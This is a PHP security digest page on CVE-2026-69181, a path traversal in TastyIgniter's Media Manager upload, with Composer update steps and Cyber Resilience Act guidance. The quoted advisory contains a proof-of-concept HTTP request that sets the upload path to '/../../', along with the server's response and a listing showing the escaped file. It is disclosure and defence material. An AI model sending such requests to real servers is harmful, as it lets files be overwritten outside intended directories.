PatchClock

PHP security digest · 25 Nov 2026

TastyIgniter permits Path Traversal in Media Upload

High CVE-2026-69181

Package
tastyigniter/tastyigniter
Fixed in
4.3.1
Published
Wed 25 Nov 2026, 22:54 LisbonUpdated Thu 3 Dec 2026, 00:45 Lisbon
Installs on Packagist
28K

In plain words

An attacker logged in as an admin can use the Media Manager upload function to write files outside media/uploads/. This could overwrite other files.

Affected versions

PackageAffectedFixed in
tastyigniter/tastyigniter< 4.3.14.3.1

How serious is it?

High is a CVSS score of 7.0 to 8.9: serious impact with few preconditions. Plan the update within days, ahead of feature work, and check the logs for signs it was tried.

tastyigniter/tastyigniter has 28K installs on Packagist, so the advisory reaches a modest number of projects, which does not make yours any safer.

Am I affected?

Look for tastyigniter/tastyigniter in composer.lock and check whether its version is below 4.3.1, the fixed version. The flaw involves the Media Manager file upload function and requires admin privileges, so check who has admin access to that feature.

Did you install tastyigniter/tastyigniter, or did a dependency?

Composer says why a package is in your project:

composer why tastyigniter/tastyigniter

If the output names your own project, you required tastyigniter/tastyigniter directly and the update is yours to make. If it names another package, tastyigniter/tastyigniter came in through it, and that package's version constraint decides which release you can install. To see what stands between you and the fix, ask Composer directly:

composer why-not tastyigniter/tastyigniter 4.3.1

Every line it prints is a constraint that blocks 4.3.1. Update the package it names, or raise your own constraint, and run it again until it prints nothing.

What to do

Check which version you have, then update to a fixed release for your branch (4.3.1):

composer show tastyigniter/tastyigniter | grep versions
composer update tastyigniter/tastyigniter

If your version constraint in composer.json keeps you below a fixed release, raise it first. Whether your configuration is affected, and the exact version ranges, are in the advisory itself.

Check the whole project at once

Composer 2.4 and later can list every installed package with a known advisory, this one included once Packagist has it:

composer audit --locked

--locked reads composer.lock instead of the vendor folder, so you can run it on a release tag or in CI without installing anything. It exits with a non-zero code when it finds an advisory, which is enough to fail a build. Run it on every branch you still support, not only the newest: an older release your customers run is affected in the same way.

Under the Cyber Resilience Act

CRA Article 14 timeline: aware of exploitation at hour 0, early warning within 24 hours, notification within 72 hours, final report within 14 days after the fix.

No exploitation of this vulnerability is known, so on its own it does not start the Article 14 reporting clock, which covers actively exploited vulnerabilities. That changes if you learn it is being exploited through your product: then the 24-hour early warning applies.

Either way, if tastyigniter/tastyigniter ships inside a product you sell, the CRA treats its vulnerabilities as yours. Article 13(5) asks for due diligence on the components you include, and from 11 December 2027 Annex I asks you to ship security fixes without delay and free of charge for the support period you declared. A short note in your changelog saying which release updated tastyigniter/tastyigniter, and why, is the evidence you will want later.

What goes in each Article 14 report · Does the CRA apply to your product?

tastyigniter/tastyigniter's record

This is one of 4 advisories for tastyigniter/tastyigniter in the digest, the first published on 25 November 2026. A package with several advisories is not worse than one with none, which often just means nobody looked; it does tell you to keep it on your update list and to run composer audit after each update.

Other advisories for tastyigniter/tastyigniter

  • CVE-2026-69179 · 25 Nov 2026 · Critical · fixed in 4.3.1 TastyIgniter allows Remote Code Execution (RCE) via Unrestricted file upload in Media Manager
  • CVE-2026-69178 · 25 Nov 2026 · Critical · fixed in 4.3.1 TastyIgniter mail template editor allows remote code execution via server-side template injection
  • CVE-2026-69177 · 25 Nov 2026 · Medium · fixed in 4.3.1 TastyIgniter allows stored XSS via file upload

The advisory's description

Summary

Arbitrary file write outside media/uploads/

Details

It is possible to perform Path Traversal in Media Manager file upload function as admin.

PoC

  • login as admin
  • upload a image but in the request, change the path from / to /../../.

Request

POST /admin/media_manager HTTP/1.1
Host: localhost:8888
Content-Length: 302
sec-ch-ua-platform: "Linux"
X-CSRF-TOKEN: 2vv3ZKpvfj2SkbbJzqmf8G053mNXqPLktxqd5eMx
Cache-Control: no-cache
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
X-IGNITER-FILEUPLOAD: mediamanager
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryN13ytndlhtodIsbE
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/admin/media_manager
Accept-Encoding: gzip, deflate, br
Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1c3akhoakpaUE9MM0ZUcW5tclBtZi80ZXExR3hpUm5hOU40UDl0NWNSWUpNUmNmU043Qmx4aEk4ZWxQQnZUanBPUHoiLCJtYWMiOiI5YmRkMGQ0M2I5M2EzYzRmNGJjOGU5ODhkY2M2MmU1MmI0ODYzYjc5YjQ2OTIzY2Y2NDJiZTRhZDBmOTQyNDUwIiwidGFnIjoiIn0%3D; remember_igniter-admin_d89cc32487145546aea44c0efb53f29c32adfc35=eyJpdiI6InF4RFZUdStuQkY0cGRLU2s4NUFiQ1E9PSIsInZhbHVlIjoiUjMyRUp6UGI3ZFRsL0dhY3pDSUhtMDJaY3Y5bXZ6SFlkQVR5MzZzdGZOT2ZRdExFQ1FJRUh5NDVmQlV0d0tNUXRackcxbTh0YWcxbHphV3dmTVdrNjR5aExhdzZUUFdLQ1JsSEhiMUlZRE1IblBuTFhmdVJWZFc5bFpicU4vS1BUZDh5OGRUMERTU1dsOEdnZVp0bXNpUFI5ZWFPM29RaGl3czU0cnlKczFsN0U4OGFnRWNjREM3aWFSRUtaYTVVTkRmSkV4RXlzZGRiK3RRcGVmOVk2dG1ud0NBaXVFTDRHRVM0Nk9MWDNaUT0iLCJtYWMiOiJiZjA3OGVhMjZlZjQ5ZDczNDkxYmQ3NDBmYWFmNGI5NjNkZDFkMmI0ODAwMTU2MmE5MjMwNjJlMzU0OGM1ODg5IiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6Ikt6a2dhWG1oL3p4NFBlOUpUWTNLRGc9PSIsInZhbHVlIjoiaU1KZzErLzJoQ3dsSVRnbkptUE5YcmN6cFk1eVJoNWZlSVZzeFlqcVVlQThDWGc1S2FUS1hGMEFsa1Bsb0RvVE12T1VoTEdKOFpQRm5XMXMrSG1ONTI5T0U2UW5KMFAxRHRTWXA2eFNYSm9xaldlMkZrbHl5aSs3K21hQjBveWEiLCJtYWMiOiI5MzY4NzNhODQ3NjlkNDgzMzc0N2FkZjM0YTJjMDI5MTBhZjc3MmZiNzI2YTc3NTBmNWY2OTFiNTBmMGRlNDg4IiwidGFnIjoiIn0%3D; tastyigniter_session=eyJpdiI6ImpoQldjRHJMTlJCMXlxVWVnbmt4QUE9PSIsInZhbHVlIjoicS9nRENOZDgvRURBL2kvM1VSOTFmaFgzcEtyVVNZK3pMLzBxL2NnU3MwVUIvaW0zMmhacWRvYnMzUzF2NXhDenZ1MFZkK1ErZ0FscGlRUFVpMC80YlBKWHNyVDFCTWR6eFBXYUNTc0VCd3NGR1dxVGRWaWVCOU5QNzZVakpDT28iLCJtYWMiOiI3NGYxMGJkNjcyYWVjMGQ5YjQ2M2M1NjBjZmM0ZGRiM2IzODRjNjM3MmYwMjM3NThmMTM2YjQzYmMzYzExYTQ1IiwidGFnIjoiIn0%3D
Connection: keep-alive

------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="path"

/../../
------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="file_data"; filename="test-pic.png"
Content-Type: image/png

<sample image>
------WebKitFormBoundaryN13ytndlhtodIsbE--

Response

HTTP/1.1 200 OK
Date: Mon, 25 May 2026 16:27:08 GMT
Server: Apache/2.4.67 (Debian)
X-Powered-By: PHP/8.3.31
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6Inp5eVRnNUNmVjlYZXlHNzVsaEZyWVE9PSIsInZhbHVlIjoidTZ4N1djTy9jNEJQdFRzRG1mRkkrYmVKNDMyTE95NytKRWdTU3dwYUNWUUNwaW5USURyS2E1MVNDK0ZHVXJ4ZmdnYWo5R2RUaGZ2TC9SQTVHQUdIK2pKNFZXMmFkNk1GYUdBdkZOc0dNdFYzYVpES0FOSFBjL0s3ZklGNVNIelMiLCJtYWMiOiI0NDI5ZjFjYzZjZjVmZTI1Yjg2OWZmZGUyMjJjMDU1ODVjYTYyNjFjMjMwNGY2YWZmNWIzMjgwOGI5ODMyZGZmIiwidGFnIjoiIn0%3D; expires=Mon, 25 May 2026 18:27:08 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: tastyigniter_session=eyJpdiI6IjJaT3E2TEVZWHY0UzJLRkVsZVU5ZFE9PSIsInZhbHVlIjoiVi9vcXBOR0xLNUNmcXkrQ04yVitjeENSVC9UN28vSkl3VElTYzFxQkxtYVg5aXBIbmJWRUQxM3BXOXFMSDYxU3g3RVBuSXIxL00xZndyRGg0a01NYVJtQUhHaDJqK0NtSE44VXVrNmVnVWlyM2I3ek1SZFM4T2R0NFhNek5qYm8iLCJtYWMiOiIyODkxN2FlN2Y3YjIyMDA0NGUzZDE4NTdiMWZjMTQzNjc0MWU5NmIzMWIxNDkwYzdjODJjYTE4MWUwM2I4MDQ1IiwidGFnIjoiIn0%3D; expires=Mon, 25 May 2026 18:27:08 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
Content-Length: 104

{"link":"http:\/\/localhost:8888\/storage\/media\/uploads\/\/..\/..\/\/test-pic.png","result":"success"}

Noticed that the file is uploaded to different directory

root@6108ffece410:/var/www/html# ls -la storage/app/public/
total 20
drwxr-xr-x 3 www-data www-data 4096 May 25 16:27 .
drwxr-xr-x 4 www-data www-data 4096 May 25 16:10 ..
-rwxr-xr-x 1 www-data www-data   14 May 25 16:10 .gitignore
drwxr-xr-x 4 www-data www-data 4096 May 25 16:15 media
-rw-r--r-- 1 www-data www-data   14 May 25 16:27 test-pic.png

Impact

Attacker with admin privilege can write file into other folder which could overwrite other files.

Weakness: CWE-23 Relative Path Traversal. Reported by callmeks.

The advisory

From OSV.dev, which gathers the GitHub Advisory Database, FriendsOfPHP and Drupal security advisories; the summary is theirs. The description, affected versions, weakness and credits are from the GitHub Advisory Database (CC BY 4.0). "In plain words", "Am I affected?" and "If you cannot update yet" are based on that advisory, and checked to name no version it does not.